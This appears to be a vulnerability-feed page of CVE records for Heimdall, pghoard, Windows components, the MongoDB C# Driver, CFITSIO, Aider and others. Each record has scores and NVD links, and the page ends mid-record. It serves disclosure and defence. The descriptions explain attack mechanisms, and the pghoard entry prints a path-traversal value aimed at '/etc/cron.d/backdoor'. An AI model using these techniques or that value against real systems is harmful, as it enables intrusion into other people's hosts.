Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.
CVSS 7.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57209).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57209&date=2026-10-25).
Sources:
NVD CVE-2026-57209: https://nvd.nist.gov/vuln/detail/CVE-2026-57209
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57209&date=2026-10-25
Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service.
https://kevwire.com/record/CVE-2026-57210
Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. (Oct 23, 2026).
Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when the trusted_proxies option is configured, heimdall extracts client IP addresses from the Forwarded (for= parameter) and X-Forwarded-For headers and exposes them as Request.ClientIPAddresses to the rule pipeline. However, extracted values are not validated to be syntactically valid IP addresses. Arbitrary strings, malformed IP literals, and RFC 7239 unknown values and obfuscated identifiers are accepted without further checks. In addition, the Forwarded header parser splits on , and ; without accounting for RFC 7239 quoted strings, which can cause a single quoted value to be parsed as multiple entries, with fragments — including trailing quote characters — treated as independent addresses. This issue has been patched in version 0.17.17.
CVSS 7.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57210).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57210&date=2026-10-25).
Sources:
NVD CVE-2026-57210: https://nvd.nist.gov/vuln/detail/CVE-2026-57210
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57210&date=2026-10-25
Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when the trusted_proxies option is configured, heimdall extracts client IP addresses from the Forwarded (for= parameter) and X-Forwarded-For headers and exposes them as Request.ClientIPAddresses to the rule pipeline. However, extracted values are not validated to be syntactically valid IP addresses. Arbitrary strings, malformed IP literals, and RFC 7239 unknown values and obfuscated identifiers are accepted without further checks. In addition, the Forwarded header parser splits on , and ; without accounting for RFC 7239 quoted strings, which can cause a single quoted value to be parsed as multiple entries, with fragments — including trailing quote characters — treated as independent addresses. This issue has been patched in version 0.17.17.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pghoard is a PostgreSQL backup daemon and restore tooling that stores backup data in cloud object stores.
https://kevwire.com/record/CVE-2026-63120
pghoard is a PostgreSQL backup daemon and restore tooling that stores backup data in cloud object stores. (Oct 23, 2026).
pghoard is a PostgreSQL backup daemon and restore tooling that stores backup data in cloud object stores. Prior to version 2.7.2, an incomplete path traversal fix in pghoard allows an attacker with write access to the backup object storage (such as S3, GCS, or Azure) to execute arbitrary file writes and directory creation outside the designated PostgreSQL data directory (pgdata). When a database administrator executes a restore operation (via pghoard_restore get-basebackup), a maliciously crafted delta backup manifest with path traversal sequences (e.g., ../../../../etc/cron.d/backdoor) will write arbitrary payloads to the host system. This issue has been patched in version 2.7.2.
CVSS 8.4 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63120).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63120&date=2026-10-25).
Sources:
NVD CVE-2026-63120: https://nvd.nist.gov/vuln/detail/CVE-2026-63120
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63120&date=2026-10-25
pghoard is a PostgreSQL backup daemon and restore tooling that stores backup data in cloud object stores. Prior to version 2.7.2, an incomplete path traversal fix in pghoard allows an attacker with write access to the backup object storage (such as S3, GCS, or Azure) to execute arbitrary file writes and directory creation outside the designated PostgreSQL data directory (pgdata). When a database administrator executes a restore operation (via pghoard_restore get-basebackup), a maliciously crafted delta backup manifest with path traversal sequences (e.g., ../../../../etc/cron.d/backdoor) will write arbitrary payloads to the host system. This issue has been patched in version 2.7.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authentication
bypass vulnerability in WizLearn Technologies' Learning Management System (LMS)
could allow an unauthenticated remote attacker to bypass password
authentication...
https://kevwire.com/record/CVE-2026-63244
An authentication
bypass vulnerability in WizLearn Technologies' Learning Management System (LMS)
could allow an unauthenticated remote attacker to bypass password
authentication... (Oct 23, 2026).
An authentication
bypass vulnerability in WizLearn Technologies' Learning Management System (LMS)
could allow an unauthenticated remote attacker to bypass password
authentication and the OAuth authentication flow by sending a specially crafted
POST request, potentially resulting in unauthorised access to user accounts and
full administrative control of the LMS platform.
CVSS 9.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63244).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63244&date=2026-10-25).
Sources:
NVD CVE-2026-63244: https://nvd.nist.gov/vuln/detail/CVE-2026-63244
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63244&date=2026-10-25
An authentication
bypass vulnerability in WizLearn Technologies' Learning Management System (LMS)
could allow an unauthenticated remote attacker to bypass password
authentication and the OAuth authentication flow by sending a specially crafted
POST request, potentially resulting in unauthorised access to user accounts and
full administrative control of the LMS platform.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The authentication framework used by affected Kiloview E3 NDI encoder firmware signs session JSON Web Tokens using an HMAC-SHA256 secret hardcoded as a static string within the...
https://kevwire.com/record/CVE-2026-92450
The authentication framework used by affected Kiloview E3 NDI encoder firmware signs session JSON Web Tokens using an HMAC-SHA256 secret hardcoded as a static string within the... (Oct 22, 2026).
The authentication framework used by affected Kiloview E3 NDI encoder firmware signs session JSON Web Tokens using an HMAC-SHA256 secret hardcoded as a static string within the firmware image, identical across all deployed devices. An attacker with access to the publicly distributed firmware can recover this secret and forge arbitrary session tokens, including administrative tokens, without valid credentials, enabling unauthenticated access to privileged device functions.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92450).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92450&date=2026-10-25).
Sources:
NVD CVE-2026-92450: https://nvd.nist.gov/vuln/detail/CVE-2026-92450
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92450&date=2026-10-25
The authentication framework used by affected Kiloview E3 NDI encoder firmware signs session JSON Web Tokens using an HMAC-SHA256 secret hardcoded as a static string within the firmware image, identical across all deployed devices. An attacker with access to the publicly distributed firmware can recover this secret and forge arbitrary session tokens, including administrative tokens, without valid credentials, enabling unauthenticated access to privileged device functions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authentication tokens issued by the E3's web management interface on login are given an expiration time far beyond any reasonable session lifetime, effectively making them...
https://kevwire.com/record/CVE-2026-96616
Authentication tokens issued by the E3's web management interface on login are given an expiration time far beyond any reasonable session lifetime, effectively making them... (Oct 22, 2026).
Authentication tokens issued by the E3's web management interface on login are given an expiration time far beyond any reasonable session lifetime, effectively making them non-expiring. A token obtained through interception or device compromise remains valid for authenticated access for an extended period.
CVSS 8.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96616).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96616&date=2026-10-25).
Sources:
NVD CVE-2026-96616: https://nvd.nist.gov/vuln/detail/CVE-2026-96616
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96616&date=2026-10-25
Authentication tokens issued by the E3's web management interface on login are given an expiration time far beyond any reasonable session lifetime, effectively making them non-expiring. A token obtained through interception or device compromise remains valid for authenticated access for an extended period.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### XDG Desktop Portal is a desktop integration portal.
https://kevwire.com/record/CVE-2026-55888
XDG Desktop Portal is a desktop integration portal. (Oct 23, 2026).
XDG Desktop Portal is a desktop integration portal. Prior to version 1.22.1, malicious sandboxed applications can use the FileChooser.SaveFiles method to gain arbitrary file access to non-existing files on the host (limited to files the user has access to). The FileChooser.SaveFiles method takes optional filenames which get appended to the selected directory by backends. The backends are supposed to check that the file does not exist yet. The filenames are not validated by the frontend and also not by common backends. This issue has been patched in version 1.22.1.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55888).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55888&date=2026-10-25).
Sources:
NVD CVE-2026-55888: https://nvd.nist.gov/vuln/detail/CVE-2026-55888
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55888&date=2026-10-25
XDG Desktop Portal is a desktop integration portal. Prior to version 1.22.1, malicious sandboxed applications can use the FileChooser.SaveFiles method to gain arbitrary file access to non-existing files on the host (limited to files the user has access to). The FileChooser.SaveFiles method takes optional filenames which get appended to the selected directory by backends. The backends are supposed to check that the file does not exist yet. The filenames are not validated by the frontend and also not by common backends. This issue has been patched in version 1.22.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in Windows Update allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69673
Improper link resolution before file access ('link following') in Windows Update allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in Windows Update allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69673).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69673&date=2026-10-25).
Sources:
NVD CVE-2026-69673: https://nvd.nist.gov/vuln/detail/CVE-2026-69673
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69673
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69673&date=2026-10-25
Improper link resolution before file access ('link following') in Windows Update allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in a command ('command injection') in Windows Update allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69718
Improper neutralization of special elements used in a command ('command injection') in Windows Update allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper neutralization of special elements used in a command ('command injection') in Windows Update allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69718).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69718&date=2026-10-25).
Sources:
NVD CVE-2026-69718: https://nvd.nist.gov/vuln/detail/CVE-2026-69718
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69718
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69718&date=2026-10-25
Improper neutralization of special elements used in a command ('command injection') in Windows Update allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69733
Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69733).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69733&date=2026-10-25).
Sources:
NVD CVE-2026-69733: https://nvd.nist.gov/vuln/detail/CVE-2026-69733
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69733
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69733&date=2026-10-25
Untrusted search path in Windows Update allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Windows Kerberos allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108132
Double free in Windows Kerberos allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Double free in Windows Kerberos allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108132).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108132&date=2026-10-25).
Sources:
NVD CVE-2026-108132: https://nvd.nist.gov/vuln/detail/CVE-2026-108132
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108132
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108132&date=2026-10-25
Double free in Windows Kerberos allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in Windows Backup Engine allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-108135
Improper link resolution before file access ('link following') in Windows Backup Engine allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in Windows Backup Engine allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108135).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108135&date=2026-10-25).
Sources:
NVD CVE-2026-108135: https://nvd.nist.gov/vuln/detail/CVE-2026-108135
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108135
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108135&date=2026-10-25
Improper link resolution before file access ('link following') in Windows Backup Engine allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The MongoDB C# Driver's BSON library contains an uncontrolled resource consumption weakness in its deserialization handling of one BSON value type.
https://kevwire.com/record/CVE-2026-114644
The MongoDB C# Driver's BSON library contains an uncontrolled resource consumption weakness in its deserialization handling of one BSON value type. (Oct 22, 2026).
The MongoDB C# Driver's BSON library contains an uncontrolled resource consumption weakness in its deserialization handling of one BSON value type. An application that deserializes untrusted content with the library retains data derived from that content for the lifetime of the process, with no limit on how much accumulates. An unauthenticated remote party who can cause such content to be deserialized can drive unbounded memory growth, exhausting the host application's available memory and denying service. There is no impact to confidentiality or integrity, and no MongoDB server component is affected.
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114644).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114644&date=2026-10-25).
Sources:
NVD CVE-2026-114644: https://nvd.nist.gov/vuln/detail/CVE-2026-114644
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114644&date=2026-10-25
The MongoDB C# Driver's BSON library contains an uncontrolled resource consumption weakness in its deserialization handling of one BSON value type. An application that deserializes untrusted content with the library retains data derived from that content for the lifetime of the process, with no limit on how much accumulates. An unauthenticated remote party who can cause such content to be deserialized can drive unbounded memory growth, exhausting the host application's available memory and denying service. There is no impact to confidentiality or integrity, and no MongoDB server component is affected.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The MongoDB C# Driver does not neutralize dot and dollar characters in dictionary keys, field names and array-filter identifiers used in LINQ queries before placing them into the...
https://kevwire.com/record/CVE-2026-114648
The MongoDB C# Driver does not neutralize dot and dollar characters in dictionary keys, field names and array-filter identifiers used in LINQ queries before placing them into the... (Oct 22, 2026).
The MongoDB C# Driver does not neutralize dot and dollar characters in dictionary keys, field names and array-filter identifiers used in LINQ queries before placing them into the field paths it sends to the server. An application user whose input reaches these positions can redirect a query or update to fields the application did not name, which can expose other users' documents and widen updates beyond the intended data. Certain values can also write malformed fields that leave stored documents unreadable by the application until they are repaired.
CVSS 7.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114648).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114648&date=2026-10-25).
Sources:
NVD CVE-2026-114648: https://nvd.nist.gov/vuln/detail/CVE-2026-114648
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114648&date=2026-10-25
The MongoDB C# Driver does not neutralize dot and dollar characters in dictionary keys, field names and array-filter identifiers used in LINQ queries before placing them into the field paths it sends to the server. An application user whose input reaches these positions can redirect a query or update to fields the application did not name, which can expose other users' documents and widen updates beyond the intended data. Certain values can also write malformed fields that leave stored documents unreadable by the application until they are repaired.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The MongoDB C# Driver compares TLS client certificates by issuer and serial number only when deciding whether two clients can share cached connections.
https://kevwire.com/record/CVE-2026-114649
The MongoDB C# Driver compares TLS client certificates by issuer and serial number only when deciding whether two clients can share cached connections. (Oct 22, 2026).
The MongoDB C# Driver compares TLS client certificates by issuer and serial number only when deciding whether two clients can share cached connections. In an application that creates clients from certificates supplied by different users, a user who provides a certificate copying another user's issuer and serial number, without that user's private key, can be given connections authenticated with the other user's certificate. Database operations can then run under the other user's identity, affecting the confidentiality and integrity of data that identity can access.
CVSS 7.6 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114649).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114649&date=2026-10-25).
Sources:
NVD CVE-2026-114649: https://nvd.nist.gov/vuln/detail/CVE-2026-114649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114649&date=2026-10-25
The MongoDB C# Driver compares TLS client certificates by issuer and serial number only when deciding whether two clients can share cached connections. In an application that creates clients from certificates supplied by different users, a user who provides a certificate copying another user's issuer and serial number, without that user's private key, can be given connections authenticated with the other user's certificate. Database operations can then run under the other user's identity, affecting the confidentiality and integrity of data that identity can access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A data-query-logic neutralization weakness in the update-statement construction component of the MongoDB C# Driver can cause application-supplied values to be interpreted as...
https://kevwire.com/record/CVE-2026-114652
A data-query-logic neutralization weakness in the update-statement construction component of the MongoDB C# Driver can cause application-supplied values to be interpreted as... (Oct 22, 2026).
A data-query-logic neutralization weakness in the update-statement construction component of the MongoDB C# Driver can cause application-supplied values to be interpreted as query/update logic rather than as literal data. An application user who can influence the content of values that the application passes into the affected builder surface, without any special privilege beyond ordinary read-write application access, may cause stored data to be modified or removed in ways the application never intended. The result is unauthorized integrity impact on the affected application data; there is no direct loss of confidentiality or availability of the database service.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114652).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114652&date=2026-10-25).
Sources:
NVD CVE-2026-114652: https://nvd.nist.gov/vuln/detail/CVE-2026-114652
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114652&date=2026-10-25
A data-query-logic neutralization weakness in the update-statement construction component of the MongoDB C# Driver can cause application-supplied values to be interpreted as query/update logic rather than as literal data. An application user who can influence the content of values that the application passes into the affected builder surface, without any special privilege beyond ordinary read-write application access, may cause stored data to be modified or removed in ways the application never intended. The result is unauthorized integrity impact on the affected application data; there is no direct loss of confidentiality or availability of the database service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A client-side encryption schema construction component in the MongoDB C# Driver places caller-supplied field identifiers into a position that is interpreted as a pattern...
https://kevwire.com/record/CVE-2026-114653
A client-side encryption schema construction component in the MongoDB C# Driver places caller-supplied field identifiers into a position that is interpreted as a pattern... (Oct 22, 2026).
A client-side encryption schema construction component in the MongoDB C# Driver places caller-supplied field identifiers into a position that is interpreted as a pattern expression, without normalizing or validating them. As a result, an application that designates certain fields for client-side field-level encryption may have the protection silently fail to apply, so data intended to be encrypted is stored and returned in cleartext; conversely, the rule may apply more broadly than intended. No user action is required to cause the condition, and any party with ordinary read access to the stored data — without possession of the encryption keys — can observe the unprotected values.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114653).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114653&date=2026-10-25).
Sources:
NVD CVE-2026-114653: https://nvd.nist.gov/vuln/detail/CVE-2026-114653
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114653&date=2026-10-25
A client-side encryption schema construction component in the MongoDB C# Driver places caller-supplied field identifiers into a position that is interpreted as a pattern expression, without normalizing or validating them. As a result, an application that designates certain fields for client-side field-level encryption may have the protection silently fail to apply, so data intended to be encrypted is stored and returned in cleartext; conversely, the rule may apply more broadly than intended. No user action is required to cause the condition, and any party with ordinary read access to the stored data — without possession of the encryption keys — can observe the unprotected values.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CFITSIO through 4.7.0 contains an out-of-bounds write vulnerability in ffgcls2() in getcols.c that trusts attacker-controlled heap descriptor lengths for variable-length string...
https://kevwire.com/record/CVE-2026-115504
CFITSIO through 4.7.0 contains an out-of-bounds write vulnerability in ffgcls2() in getcols.c that trusts attacker-controlled heap descriptor lengths for variable-length string... (Oct 22, 2026).
CFITSIO through 4.7.0 contains an out-of-bounds write vulnerability in ffgcls2() in getcols.c that trusts attacker-controlled heap descriptor lengths for variable-length string columns. Attackers can supply a crafted FITS file that overflows a fixed 28,800-byte stack buffer and the caller's string array, enabling arbitrary code execution.
CVSS 8.5 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115504).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115504&date=2026-10-25).
Sources:
NVD CVE-2026-115504: https://nvd.nist.gov/vuln/detail/CVE-2026-115504
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115504&date=2026-10-25
CFITSIO through 4.7.0 contains an out-of-bounds write vulnerability in ffgcls2() in getcols.c that trusts attacker-controlled heap descriptor lengths for variable-length string columns. Attackers can supply a crafted FITS file that overflows a fixed 28,800-byte stack buffer and the caller's string array, enabling arbitrary code execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Aider through 0.86.2 contains a command execution vulnerability that allows attackers to run shell commands by committing a malicious .aider.conf.yml that is auto-loaded without a...
https://kevwire.com/record/CVE-2026-115726
Aider through 0.86.2 contains a command execution vulnerability that allows attackers to run shell commands by committing a malicious .aider.conf.yml that is auto-loaded without a... (Oct 23, 2026).
